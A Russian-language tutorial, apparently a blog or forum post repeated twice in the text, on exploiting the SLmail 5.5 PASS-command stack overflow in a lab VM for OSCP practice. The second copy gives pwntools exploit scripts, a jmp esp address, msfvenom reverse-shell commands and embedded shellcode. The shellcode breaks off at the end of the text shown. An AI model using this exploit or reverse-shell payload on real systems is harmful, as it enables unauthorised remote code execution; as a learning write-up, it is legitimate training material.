Привет!
Выбирая цель для отработки навыков бинарной эксплуатации я услышал, что есть такой почтовый сервер, эксплуатация которого рассматривается на курсе PWK в рамках подготовки к OSCP. Я заинтересовался и решил попробовать самостоятельно проэксплуатировать это приложение, теперь я предлагаю вам сделать это вместе со мной.
Речь идет об SLmail версии 5.5, CVE
Идея в том, чтобы попытаться пройти по стопам людей которые занимались рисерчем 17 лет назад, и пошагово рассмотреть каждый этап эксплуатации, от фаззинга до получения реверс шелла.
Итак, чтобы повторить все это на своем компе нам понадобятся:
-VMware workstation.
-Виртуальная машина с windows 7 sp1 32bit. В теории вам подойдет любая винда начиная от xp sp1 32bit, но я рекомендую windows 7 sp1 32bit, на ней и буду показывать.
-Виртуальная машина, с которой мы будем атаковать. В теории, опять же, можете все это делать хоть на убунту, хоть на ninjutsu OS, но я буду пользоваться кали линуксом версии 2020.1. Там уже есть почти все необходимое.
Также, на виртуальную машину с windows 7, которую мы будем атаковать, нам нужно скачать и установить некоторый набор софта:
-Собственно, SLmail версии 5.5 вот отсюда
-Immunity debugger
-Плагин Mona для Immunity debugger'а corelan/mona
Скачали? Установили? Врубаем музыку и поехали!
Для начала, давайте разберемся, что именно мы собираемся атаковать. Итак, есть программа, почтовый сервер, SLmail. Одной из функций является удаленный доступ для администрирования. Он реализован через сервис, который запускается и начинает работать на 110 порту вместе со всеми остальными компонентами SLmail. Давайте разберемся с ним чуть поподробнее.
Нам нужно отключить фаерволл (иначе кали не сможет даже увидеть винду с ее сервисами и залогиниться удаленно будет невозможно в принципе), на всякий случай отключить ASLR (не уверен, создаст ли он проблемы, но я на всякий случай убрал), и запустить SLmail. После этого сканируем 110 порт nmapом
Видим что 110 порт открыт и готов к работе. Пробуем подключиться к нему используя netcat
Тут нам предлагают ввести USER и PASS, чтобы авторизироваться
Уязвимость кроется в том, как сервер обрабатывает команду PASS (достаточно символично, если вы спросите меня). Дело в том, что программисты допустили ошибку, когда писали обработчик этой команды, и в результате мы имеем переполнение буфера. Сейчас мы с вами будем его там искать и эксплуатировать.
Для начала, накидаем простенький скрипт, который будет коннектиться к серверу на 110 порт и отправлять какие-то строки, чтобы не вводить это каждый раз вручную через терминал (тем более, что мы собираемся вводить тысячи символов, делать это руками тупо неудобно). Я использую python2 и pwntools, что и вам рекомендую. Единственное что, можете взять третий питон вместо второго. А то ходят слухи, что второй питон скоро умрет. Правда, он все не умирает да не умирает... В любом случае, у вас выйдет что-то вроде этого:
Теперь попытаемся запустить этот скрипт и вызвать краш. Если тут есть переполнение буфера, то после того как мы введем определенное количество символов вместо пароля (иногда это 1000 символов, иногда 100 000), то программа должна выдать ошибку и аварийно завершить выполнение. Забавно, что в нашем случае, она упадет только если приаттачить отладчик (мне понадобилось довольно много времени, чтобы выяснить это). Вам же я предлагаю сразу приаттачить отладчик к SLmail и запустить скрипт.
Запускаем Immunity Debugger , жмем на вкладку File, там attach. В выпавшем меню выбираем SLmail
Нажимаем на кнопку "run" (иконка как "плей" на плеере), чтобы программа разморозилась и продолжила работу. Теперь мы возвращаемся в виртуалку кали и запускаем наш скрипт
Бинго! Вот так вот мы "профаззили" команду PASS в одном из сервисов SLmail и убедились, что там есть переполнение буфера на стеке. Если мы проверим SLmail.exe скриптом Get-PESecurity, то увидим, что там нет абсолютно никакой защиты - ни NX, ни ASLR ни stack canary не используются, так что мы имеем идеальную цель для практики. Кстати, в рамках экзамена OSCP перечисленные защиты также не используются, там люди тоже имеют дело с таким вот ванильным переполнением буфера на стеке. Так вот, в этой ситуации мы будем строить наш пейлоад следующим образом:
1) Сначала у нас будет идти определенное количество мусорных байт (букв "А" например), чтобы забить буфер
2) После этого, мы кладем адрес гаджета jmp esp
3) Дальше оставляем небольшой nop sled и кладем наш шеллкод.
Теперь нам нужно посчитать оффсет - выяснить, сколько именно байт мы должны послать, чтобы вызвать переполнение. Есть множество разных способов это сделать, в этой ситуации я воспользуюсь утилитами pattern_create и pattern_offset из метасплоит фреймворка, так как они удобные, отлично работают, установлены по умолчанию в кали и разрешены на экзамене OSCP.
Для того, чтобы они посчитали нам оффсет, генерируем паттерн с помощью pattern_create
Теперь вставляем его вместо мусорных байт в наш скрипт. Пайтон подглючивает, когда ты в одну строчку пытаешься объявить слишком длинную строку, поэтому разбиваем паттерн на несколько кусочков.
Дважды перезапускаем SLmail (если перезапустить один раз - будет подглючивать), снова аттачим дебаггер и снова запускаем наш скрипт. Видим следующую картину:
Нас интересует окошко с регистрами в дебаггере. Конкретно - регистр EIP. Копируем значение оттуда и скармливаем утилите pattern_offset
Вуаля, оффсет посчитан! Теперь, убедимся что мы контролируем регистр EIP. Давайте попробуем передать туда 4 буквы "B". Для этого чуть-чуть модифицируем наш скрипт
Теперь перезапускаем SLmail, снова цепляем отладчик и запускаем наш новый скрипт. Смотрим в отладчик
Видим в регистре EIP значение 42424242. Мы успешно получили контроль над регистром EIP, первая часть пройдена. Теперь нам нужно выяснить, что же мы туда положим. Нам нужно найти в памяти программы адрес инструкции jmp esp, чтобы мы могли заставить EIP указывать на стек, и таким образом выполнить шеллкод оттуда. Искать адрес jmp esp вручную можно, но бессмысленно, если за нас это может сделать mona! Для начала посмотрим, в каких модулях mona может поискать для нас гаджеты. Делается это командой !mona modules
Нас интересуют модули, в которых нету ни Rebase, ни SafeSEH, ни ASLR, ни NXCompat. У меня тут целых три таких. Теперь начинаем искать уже конкретно по этим модулям по очереди командой !mona find -s '\xff\xe4' -m SLMFC.DLL
Попробуем взять какой-то из этих адресов и прыгнуть на него. На случай, если все пройдет успешно, установим в месте приземления небольшой nop sled и halt инструкции (коды операций 0x90 и 0xcc соответственно). Теперь наш скрипт выглядит вот так:
Не забываем развернуть адрес который мы кладем в EIP, так как мы имеем дело с little-endian системой. Попробуем снова перезапустить все и запустить наш новый скрипт
Мы видим, что наш шеллкод успешно отработал и остановился на наших halt. Мы уже получили примитив эксплоита - процессор на атакуемой машине уже выполняет те инструкции, которые мы ему даем. Теперь нам нужно получить что-то более интересное, чем выполнение инструкции "\xcc". Нам понадобится боевой шеллкод. Конечно, вы можете найти его где-то в интернете, или написать самостоятельно, но я воспользуюсь утилитой msfvenom. Вот команда, вам остается подставить туда свой айпи адрес
берем этот шеллкод и вставляем в свой скрипт вместо инструкций "\xcc". Также, открываем еще один терминал, и в нем запускаем неткат, слушающий все входящие подключения на 1234 порт, чтобы мы могли словить реверс шелл
Снова все перезапускаем и стартуем скрипт
Шелл так и не прилетел, а программа крашнулась с ошибкой access violation. Я потратил довольно много времени, пытаясь понять, в чем может быть ошибка. В конечном счете, мне посоветовали проверить шеллкод на бедчары и это сработало. Этим и займемся.
Для того, чтобы проверить, какие символы будут плохими в нашем шеллкоде, нам нужно просто запихнуть все существующие байты от 0x00 до 0xff в стек и посмотреть, как он отреагирует. Чтобы не набирать этот список вручную - он легко гуглится по словам bad char list exploit. Нам нужно вставить этот список в наш скрипт. Получится что-то вроде этого (символ 0х00 я сразу отбросил):
Снова все перезапускаем и пробуем наш скрипт
Теперь нас интересует правое нижнее окно в дебаггере, которое показывает нам стек. Смотрим, какие символы у нас хорошо легли на стек, а какие не очень. Видим что с 0x01 по 0x09 все нормально, а дальше какая-то билиберда. Значит 0x0a - бедчар. Записываем это себе куда-то, убираем 0x0a из нашего буфера в скрипте, и снова все перезапускаем, ничего не меняя кроме того, что мы убрали 0x0a. Снова смотрим на стек
В этот раз картина уже получше, почти все скопировалось в стек. Непонятно только, куда делся байт 0x0d, так что и его тоже запишем в бедчары. Все остальные символы, вроде, на месте
Теперь, когда мы знаем, что бедчар не только 0х00, а еще и 0х0а и 0x0d, мы можем заново сгенерить наш шеллкод в msfvenom и вставить его в наш скрипт
Запускаем скрипт с новым шеллкодом
В отладчике мы видим, что хоть мы и переполнили буфер - приложение не упало! Давайте посмотрим на вкладку с неткатом
Вуаля, к нам прилетел реверс шелл! Старания, потраченные на написание эксплоита не пропали даром
Теперь попробуем повторить без отладчика.
Результат тот же - мы получаем реверс шелл, причем с теми же правами, с которыми был запущен SLmail. Теперь можно попробовать порыться в компьютере и что-то сделать. Например, прочитать флаг с рабочего стола
Вот, собственно, и все! Эксплоит написан, реверс шелл получен, а пост эксплуатация уже выходит за рамки этой статьи и рассматриваться не будет. Надеюсь что вы получили удовольствие и узнали для себя что-то полезное из этой статьи
Если вы дочитали до этого места - обязательно подписывайтесь на канал кодбай t.me/webware и на мой канал t.me/binary_xor
У себя на канале я собираю из интернета (и даже иногда пишу сам!) всякие разные штуки по теме низкоуровневого программирования, реверс инжиниринга и бинарных эксплуатаций, думаю что тем кто это читал будет интересно
Всем спасибо за внимание! До скорых встреч!
Выбирая цель для отработки навыков бинарной эксплуатации я услышал, что есть такой почтовый сервер, эксплуатация которого рассматривается на курсе PWK в рамках подготовки к OSCP. Я заинтересовался и решил попробовать самостоятельно проэксплуатировать это приложение, теперь я предлагаю вам сделать это вместе со мной.
Ссылка скрыта от гостей
Речь идет об SLmail версии 5.5, CVE
Ссылка скрыта от гостей
, так что сразу говорю - зиродеев тут нет (С).Идея в том, чтобы попытаться пройти по стопам людей которые занимались рисерчем 17 лет назад, и пошагово рассмотреть каждый этап эксплуатации, от фаззинга до получения реверс шелла.
Итак, чтобы повторить все это на своем компе нам понадобятся:
-VMware workstation.
-Виртуальная машина с windows 7 sp1 32bit. В теории вам подойдет любая винда начиная от xp sp1 32bit, но я рекомендую windows 7 sp1 32bit, на ней и буду показывать.
-Виртуальная машина, с которой мы будем атаковать. В теории, опять же, можете все это делать хоть на убунту, хоть на ninjutsu OS, но я буду пользоваться кали линуксом версии 2020.1. Там уже есть почти все необходимое.
Также, на виртуальную машину с windows 7, которую мы будем атаковать, нам нужно скачать и установить некоторый набор софта:
-Собственно, SLmail версии 5.5 вот отсюда
Ссылка скрыта от гостей
-Immunity debugger
Ссылка скрыта от гостей
-Плагин Mona для Immunity debugger'а corelan/mona
Скачали? Установили? Врубаем музыку и поехали!
Для начала, давайте разберемся, что именно мы собираемся атаковать. Итак, есть программа, почтовый сервер, SLmail. Одной из функций является удаленный доступ для администрирования. Он реализован через сервис, который запускается и начинает работать на 110 порту вместе со всеми остальными компонентами SLmail. Давайте разберемся с ним чуть поподробнее.
Нам нужно отключить фаерволл (иначе кали не сможет даже увидеть винду с ее сервисами и залогиниться удаленно будет невозможно в принципе), на всякий случай отключить ASLR (не уверен, создаст ли он проблемы, но я на всякий случай убрал), и запустить SLmail. После этого сканируем 110 порт nmapом
Видим что 110 порт открыт и готов к работе. Пробуем подключиться к нему используя netcat
Тут нам предлагают ввести USER и PASS, чтобы авторизироваться
Уязвимость кроется в том, как сервер обрабатывает команду PASS (достаточно символично, если вы спросите меня). Дело в том, что программисты допустили ошибку, когда писали обработчик этой команды, и в результате мы имеем переполнение буфера. Сейчас мы с вами будем его там искать и эксплуатировать.
Для начала, накидаем простенький скрипт, который будет коннектиться к серверу на 110 порт и отправлять какие-то строки, чтобы не вводить это каждый раз вручную через терминал (тем более, что мы собираемся вводить тысячи символов, делать это руками тупо неудобно). Я использую python2 и pwntools, что и вам рекомендую. Единственное что, можете взять третий питон вместо второго. А то ходят слухи, что второй питон скоро умрет. Правда, он все не умирает да не умирает... В любом случае, у вас выйдет что-то вроде этого:
Python:
from pwn import *
p = remote("192.168.0.102", 110)
name = "username"
junk = "A"*10000
p.sendline("USER " + name)
print p.recvline()
p.send("PASS " + junk)
print p.recvline()
p.interactive()
Теперь попытаемся запустить этот скрипт и вызвать краш. Если тут есть переполнение буфера, то после того как мы введем определенное количество символов вместо пароля (иногда это 1000 символов, иногда 100 000), то программа должна выдать ошибку и аварийно завершить выполнение. Забавно, что в нашем случае, она упадет только если приаттачить отладчик (мне понадобилось довольно много времени, чтобы выяснить это). Вам же я предлагаю сразу приаттачить отладчик к SLmail и запустить скрипт.
Запускаем Immunity Debugger , жмем на вкладку File, там attach. В выпавшем меню выбираем SLmail
Нажимаем на кнопку "run" (иконка как "плей" на плеере), чтобы программа разморозилась и продолжила работу. Теперь мы возвращаемся в виртуалку кали и запускаем наш скрипт
Бинго! Вот так вот мы "профаззили" команду PASS в одном из сервисов SLmail и убедились, что там есть переполнение буфера на стеке. Если мы проверим SLmail.exe скриптом Get-PESecurity, то увидим, что там нет абсолютно никакой защиты - ни NX, ни ASLR ни stack canary не используются, так что мы имеем идеальную цель для практики. Кстати, в рамках экзамена OSCP перечисленные защиты также не используются, там люди тоже имеют дело с таким вот ванильным переполнением буфера на стеке. Так вот, в этой ситуации мы будем строить наш пейлоад следующим образом:
1) Сначала у нас будет идти определенное количество мусорных байт (букв "А" например), чтобы забить буфер
2) После этого, мы кладем адрес гаджета jmp esp
3) Дальше оставляем небольшой nop sled и кладем наш шеллкод.
Теперь нам нужно посчитать оффсет - выяснить, сколько именно байт мы должны послать, чтобы вызвать переполнение. Есть множество разных способов это сделать, в этой ситуации я воспользуюсь утилитами pattern_create и pattern_offset из метасплоит фреймворка, так как они удобные, отлично работают, установлены по умолчанию в кали и разрешены на экзамене OSCP.
Для того, чтобы они посчитали нам оффсет, генерируем паттерн с помощью pattern_create
Теперь вставляем его вместо мусорных байт в наш скрипт. Пайтон подглючивает, когда ты в одну строчку пытаешься объявить слишком длинную строку, поэтому разбиваем паттерн на несколько кусочков.
Python:
from pwn import *
p = remote("192.168.0.105", 110)
name = "username"
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3"
junk += "Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
payload = junk
p.sendline("USER " + name)
print p.recvline()
p.send("PASS " + payload)
print p.recvline()
p.interactive()
Нас интересует окошко с регистрами в дебаггере. Конкретно - регистр EIP. Копируем значение оттуда и скармливаем утилите pattern_offset
Вуаля, оффсет посчитан! Теперь, убедимся что мы контролируем регистр EIP. Давайте попробуем передать туда 4 буквы "B". Для этого чуть-чуть модифицируем наш скрипт
Python:
from pwn import *
p = remote("192.168.0.105", 110)
name = "username"
junk = "A"*2606
eip = "BBBB"
payload = junk + eip
p.sendline("USER " + name)
print p.recvline()
p.send("PASS " + payload)
print p.recvline()
p.interactive()
Видим в регистре EIP значение 42424242. Мы успешно получили контроль над регистром EIP, первая часть пройдена. Теперь нам нужно выяснить, что же мы туда положим. Нам нужно найти в памяти программы адрес инструкции jmp esp, чтобы мы могли заставить EIP указывать на стек, и таким образом выполнить шеллкод оттуда. Искать адрес jmp esp вручную можно, но бессмысленно, если за нас это может сделать mona! Для начала посмотрим, в каких модулях mona может поискать для нас гаджеты. Делается это командой !mona modules
Нас интересуют модули, в которых нету ни Rebase, ни SafeSEH, ни ASLR, ни NXCompat. У меня тут целых три таких. Теперь начинаем искать уже конкретно по этим модулям по очереди командой !mona find -s '\xff\xe4' -m SLMFC.DLL
Попробуем взять какой-то из этих адресов и прыгнуть на него. На случай, если все пройдет успешно, установим в месте приземления небольшой nop sled и halt инструкции (коды операций 0x90 и 0xcc соответственно). Теперь наш скрипт выглядит вот так:
Python:
from pwn import *
p = remote("192.168.0.105", 110)
name = "username"
junk = "A"*2606
eip = "\x8f\x35\x4a\x5f"#5f4a358f
nop = "\x90"*32
shellcode = "\xcc"*8
payload = junk + eip + nop + shellcode
p.sendline("USER " + name)
print p.recvline()
p.send("PASS " + payload)
print p.recvline()
p.interactive()
Мы видим, что наш шеллкод успешно отработал и остановился на наших halt. Мы уже получили примитив эксплоита - процессор на атакуемой машине уже выполняет те инструкции, которые мы ему даем. Теперь нам нужно получить что-то более интересное, чем выполнение инструкции "\xcc". Нам понадобится боевой шеллкод. Конечно, вы можете найти его где-то в интернете, или написать самостоятельно, но я воспользуюсь утилитой msfvenom. Вот команда, вам остается подставить туда свой айпи адрес
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.104 LPORT=1234 -a x86 -f py -b '\x00'
берем этот шеллкод и вставляем в свой скрипт вместо инструкций "\xcc". Также, открываем еще один терминал, и в нем запускаем неткат, слушающий все входящие подключения на 1234 порт, чтобы мы могли словить реверс шелл
Снова все перезапускаем и стартуем скрипт
Шелл так и не прилетел, а программа крашнулась с ошибкой access violation. Я потратил довольно много времени, пытаясь понять, в чем может быть ошибка. В конечном счете, мне посоветовали проверить шеллкод на бедчары и это сработало. Этим и займемся.
Для того, чтобы проверить, какие символы будут плохими в нашем шеллкоде, нам нужно просто запихнуть все существующие байты от 0x00 до 0xff в стек и посмотреть, как он отреагирует. Чтобы не набирать этот список вручную - он легко гуглится по словам bad char list exploit. Нам нужно вставить этот список в наш скрипт. Получится что-то вроде этого (символ 0х00 я сразу отбросил):
Python:
from pwn import *
p = remote("192.168.0.105", 110)
name = "username"
junk = "A"*2606
eip = "\x8f\x35\x4a\x5f"#5f4a358f
nop = "\x90"*32
buf = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
buf += "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
buf += "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
buf += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
buf += "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
buf += "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
buf += "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
buf += "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = junk + eip + nop + buf
p.sendline("USER " + name)
print p.recvline()
p.send("PASS " + payload)
print p.recvline()
p.interactive()
Теперь нас интересует правое нижнее окно в дебаггере, которое показывает нам стек. Смотрим, какие символы у нас хорошо легли на стек, а какие не очень. Видим что с 0x01 по 0x09 все нормально, а дальше какая-то билиберда. Значит 0x0a - бедчар. Записываем это себе куда-то, убираем 0x0a из нашего буфера в скрипте, и снова все перезапускаем, ничего не меняя кроме того, что мы убрали 0x0a. Снова смотрим на стек
В этот раз картина уже получше, почти все скопировалось в стек. Непонятно только, куда делся байт 0x0d, так что и его тоже запишем в бедчары. Все остальные символы, вроде, на месте
Теперь, когда мы знаем, что бедчар не только 0х00, а еще и 0х0а и 0x0d, мы можем заново сгенерить наш шеллкод в msfvenom и вставить его в наш скрипт
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.104 LPORT=1234 -a x86 -f py -b '\x00\x0a\x0d'
Python:
from pwn import *
p = remote("192.168.0.105", 110)
name = "username"
junk = "A"*2606
eip = "\x8f\x35\x4a\x5f"#5f4a358f
nop = "\x90"*32
buf = ""
buf += "\xda\xcc\xbb\x1c\xe8\xc9\xf1\xd9\x74\x24\xf4\x5a\x31"
buf += "\xc9\xb1\x52\x83\xc2\x04\x31\x5a\x13\x03\x46\xfb\x2b"
buf += "\x04\x8a\x13\x29\xe7\x72\xe4\x4e\x61\x97\xd5\x4e\x15"
buf += "\xdc\x46\x7f\x5d\xb0\x6a\xf4\x33\x20\xf8\x78\x9c\x47"
buf += "\x49\x36\xfa\x66\x4a\x6b\x3e\xe9\xc8\x76\x13\xc9\xf1"
buf += "\xb8\x66\x08\x35\xa4\x8b\x58\xee\xa2\x3e\x4c\x9b\xff"
buf += "\x82\xe7\xd7\xee\x82\x14\xaf\x11\xa2\x8b\xbb\x4b\x64"
buf += "\x2a\x6f\xe0\x2d\x34\x6c\xcd\xe4\xcf\x46\xb9\xf6\x19"
buf += "\x97\x42\x54\x64\x17\xb1\xa4\xa1\x90\x2a\xd3\xdb\xe2"
buf += "\xd7\xe4\x18\x98\x03\x60\xba\x3a\xc7\xd2\x66\xba\x04"
buf += "\x84\xed\xb0\xe1\xc2\xa9\xd4\xf4\x07\xc2\xe1\x7d\xa6"
buf += "\x04\x60\xc5\x8d\x80\x28\x9d\xac\x91\x94\x70\xd0\xc1"
buf += "\x76\x2c\x74\x8a\x9b\x39\x05\xd1\xf3\x8e\x24\xe9\x03"
buf += "\x99\x3f\x9a\x31\x06\x94\x34\x7a\xcf\x32\xc3\x7d\xfa"
buf += "\x83\x5b\x80\x05\xf4\x72\x47\x51\xa4\xec\x6e\xda\x2f"
buf += "\xec\x8f\x0f\xff\xbc\x3f\xe0\x40\x6c\x80\x50\x29\x66"
buf += "\x0f\x8e\x49\x89\xc5\xa7\xe0\x70\x8e\x07\x5c\x7a\x26"
buf += "\xe0\x9f\x7a\xb2\x22\x16\x9c\xd0\xd2\x7f\x37\x4d\x4a"
buf += "\xda\xc3\xec\x93\xf0\xae\x2f\x1f\xf7\x4f\xe1\xe8\x72"
buf += "\x43\x96\x18\xc9\x39\x31\x26\xe7\x55\xdd\xb5\x6c\xa5"
buf += "\xa8\xa5\x3a\xf2\xfd\x18\x33\x96\x13\x02\xed\x84\xe9"
buf += "\xd2\xd6\x0c\x36\x27\xd8\x8d\xbb\x13\xfe\x9d\x05\x9b"
buf += "\xba\xc9\xd9\xca\x14\xa7\x9f\xa4\xd6\x11\x76\x1a\xb1"
buf += "\xf5\x0f\x50\x02\x83\x0f\xbd\xf4\x6b\xa1\x68\x41\x94"
buf += "\x0e\xfd\x45\xed\x72\x9d\xaa\x24\x37\xad\xe0\x64\x1e"
buf += "\x26\xad\xfd\x22\x2b\x4e\x28\x60\x52\xcd\xd8\x19\xa1"
